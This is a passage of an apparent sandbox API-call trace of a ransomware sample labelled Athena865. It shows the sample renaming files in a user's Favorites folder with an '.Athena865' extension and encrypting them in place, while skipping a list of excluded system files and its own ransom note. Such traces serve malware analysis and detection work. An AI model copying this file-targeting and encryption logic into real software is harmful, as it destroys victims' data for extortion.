(HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.281] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.281] CloseHandle (hObject=0x17c) returned 1 [0103.281] CloseHandle (hObject=0x154) returned 1 [0103.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.282] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2=".") returned 1 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2="..") returned 1 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2="windows") returned -1 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2="bootmgr") returned 1 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2="temp") returned -1 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2="pagefile.sys") returned -1 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2="boot") returned 1 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2="ids.txt") returned 1 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2="ntuser.dat") returned -1 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2="perflogs") returned -1 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2="MSBuild") returned 1 [0103.282] lstrlenW (lpString="MSN Money.url") returned 13 [0103.282] lstrcpyW (in: lpString1=0x241e8ba, lpString2="MSN Money.url" | out: lpString1="MSN Money.url") returned="MSN Money.url" [0103.282] lstrlenW (lpString="MSN Money.url") returned 13 [0103.282] lstrlenW (lpString="Athena865") returned 9 [0103.282] lstrcmpiW (lpString1="Money.url", lpString2="Athena865") returned 1 [0103.282] lstrlenW (lpString=".dll") returned 4 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2=".dll") returned 1 [0103.282] lstrlenW (lpString=".lnk") returned 4 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2=".lnk") returned 1 [0103.282] lstrlenW (lpString=".ini") returned 4 [0103.282] lstrcmpiW (lpString1="MSN Money.url", lpString2=".ini") returned 1 [0103.282] lstrlenW (lpString=".sys") returned 4 [0103.283] lstrcmpiW (lpString1="MSN Money.url", lpString2=".sys") returned 1 [0103.283] lstrlenW (lpString="MSN Money.url") returned 13 [0103.283] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Money.url.Athena865") returned 80 [0103.283] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Money.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn money.url.athena865"), dwFlags=0x1) returned 1 [0103.283] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Money.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn money.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.284] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0103.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.284] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.285] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.285] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.285] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.287] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.288] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.289] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.289] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.290] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.290] CloseHandle (hObject=0x17c) returned 1 [0103.290] CloseHandle (hObject=0x154) returned 1 [0103.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.290] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0103.290] lstrcmpiW (lpString1="MSN Sports.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.290] lstrcmpiW (lpString1="MSN Sports.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.290] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".") returned 1 [0103.290] lstrcmpiW (lpString1="MSN Sports.url", lpString2="..") returned 1 [0103.290] lstrcmpiW (lpString1="MSN Sports.url", lpString2="windows") returned -1 [0103.290] lstrcmpiW (lpString1="MSN Sports.url", lpString2="bootmgr") returned 1 [0103.290] lstrcmpiW (lpString1="MSN Sports.url", lpString2="temp") returned -1 [0103.290] lstrcmpiW (lpString1="MSN Sports.url", lpString2="pagefile.sys") returned -1 [0103.290] lstrcmpiW (lpString1="MSN Sports.url", lpString2="boot") returned 1 [0103.290] lstrcmpiW (lpString1="MSN Sports.url", lpString2="ids.txt") returned 1 [0103.290] lstrcmpiW (lpString1="MSN Sports.url", lpString2="ntuser.dat") returned -1 [0103.290] lstrcmpiW (lpString1="MSN Sports.url", lpString2="perflogs") returned -1 [0103.290] lstrcmpiW (lpString1="MSN Sports.url", lpString2="MSBuild") returned 1 [0103.290] lstrlenW (lpString="MSN Sports.url") returned 14 [0103.290] lstrcpyW (in: lpString1=0x241e8ba, lpString2="MSN Sports.url" | out: lpString1="MSN Sports.url") returned="MSN Sports.url" [0103.291] lstrlenW (lpString="MSN Sports.url") returned 14 [0103.291] lstrlenW (lpString="Athena865") returned 9 [0103.291] lstrcmpiW (lpString1="ports.url", lpString2="Athena865") returned 1 [0103.291] lstrlenW (lpString=".dll") returned 4 [0103.291] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".dll") returned 1 [0103.291] lstrlenW (lpString=".lnk") returned 4 [0103.291] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".lnk") returned 1 [0103.291] lstrlenW (lpString=".ini") returned 4 [0103.291] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".ini") returned 1 [0103.291] lstrlenW (lpString=".sys") returned 4 [0103.291] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".sys") returned 1 [0103.291] lstrlenW (lpString="MSN Sports.url") returned 14 [0103.291] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Sports.url.Athena865") returned 81 [0103.291] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Sports.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn sports.url.athena865"), dwFlags=0x1) returned 1 [0103.292] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN Sports.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn sports.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.292] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0103.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.292] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.293] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.293] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.293] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.295] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.296] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.296] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.296] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.297] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.297] CloseHandle (hObject=0x17c) returned 1 [0103.297] CloseHandle (hObject=0x154) returned 1 [0103.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.298] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2=".") returned 1 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2="..") returned 1 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2="windows") returned -1 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2="bootmgr") returned 1 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2="temp") returned -1 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2="pagefile.sys") returned -1 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2="boot") returned 1 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2="ids.txt") returned 1 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2="ntuser.dat") returned -1 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2="perflogs") returned -1 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2="MSBuild") returned 1 [0103.298] lstrlenW (lpString="MSN.url") returned 7 [0103.298] lstrcpyW (in: lpString1=0x241e8ba, lpString2="MSN.url" | out: lpString1="MSN.url") returned="MSN.url" [0103.298] lstrlenW (lpString="MSN.url") returned 7 [0103.298] lstrlenW (lpString="Athena865") returned 9 [0103.298] lstrlenW (lpString=".dll") returned 4 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2=".dll") returned 1 [0103.298] lstrlenW (lpString=".lnk") returned 4 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2=".lnk") returned 1 [0103.298] lstrlenW (lpString=".ini") returned 4 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2=".ini") returned 1 [0103.298] lstrlenW (lpString=".sys") returned 4 [0103.298] lstrcmpiW (lpString1="MSN.url", lpString2=".sys") returned 1 [0103.299] lstrlenW (lpString="MSN.url") returned 7 [0103.299] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN.url.Athena865") returned 74 [0103.299] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn.url.athena865"), dwFlags=0x1) returned 1 [0103.300] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSN.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msn.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.300] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0103.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.301] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.301] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.301] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.301] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.301] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.302] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.306] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.306] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.307] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.307] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.308] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.308] CloseHandle (hObject=0x17c) returned 1 [0103.308] CloseHandle (hObject=0x154) returned 1 [0103.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.308] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0103.308] lstrcmpiW (lpString1="MSNBC News.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.308] lstrcmpiW (lpString1="MSNBC News.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.308] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".") returned 1 [0103.308] lstrcmpiW (lpString1="MSNBC News.url", lpString2="..") returned 1 [0103.308] lstrcmpiW (lpString1="MSNBC News.url", lpString2="windows") returned -1 [0103.308] lstrcmpiW (lpString1="MSNBC News.url", lpString2="bootmgr") returned 1 [0103.308] lstrcmpiW (lpString1="MSNBC News.url", lpString2="temp") returned -1 [0103.308] lstrcmpiW (lpString1="MSNBC News.url", lpString2="pagefile.sys") returned -1 [0103.309] lstrcmpiW (lpString1="MSNBC News.url", lpString2="boot") returned 1 [0103.309] lstrcmpiW (lpString1="MSNBC News.url", lpString2="ids.txt") returned 1 [0103.309] lstrcmpiW (lpString1="MSNBC News.url", lpString2="ntuser.dat") returned -1 [0103.309] lstrcmpiW (lpString1="MSNBC News.url", lpString2="perflogs") returned -1 [0103.309] lstrcmpiW (lpString1="MSNBC News.url", lpString2="MSBuild") returned 1 [0103.309] lstrlenW (lpString="MSNBC News.url") returned 14 [0103.309] lstrcpyW (in: lpString1=0x241e8ba, lpString2="MSNBC News.url" | out: lpString1="MSNBC News.url") returned="MSNBC News.url" [0103.309] lstrlenW (lpString="MSNBC News.url") returned 14 [0103.309] lstrlenW (lpString="Athena865") returned 9 [0103.309] lstrcmpiW (lpString1=" News.url", lpString2="Athena865") returned -1 [0103.309] lstrlenW (lpString=".dll") returned 4 [0103.309] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".dll") returned 1 [0103.309] lstrlenW (lpString=".lnk") returned 4 [0103.309] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".lnk") returned 1 [0103.309] lstrlenW (lpString=".ini") returned 4 [0103.309] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".ini") returned 1 [0103.309] lstrlenW (lpString=".sys") returned 4 [0103.309] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".sys") returned 1 [0103.309] lstrlenW (lpString="MSNBC News.url") returned 14 [0103.309] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSNBC News.url.Athena865") returned 81 [0103.309] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSNBC News.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msnbc news.url.athena865"), dwFlags=0x1) returned 1 [0103.310] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\MSN Websites\\MSNBC News.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\msn websites\\msnbc news.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.310] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0103.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.311] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.311] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.311] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.312] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.314] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.314] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.315] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.315] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.315] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.315] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.315] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.316] UnmapViewOfFile 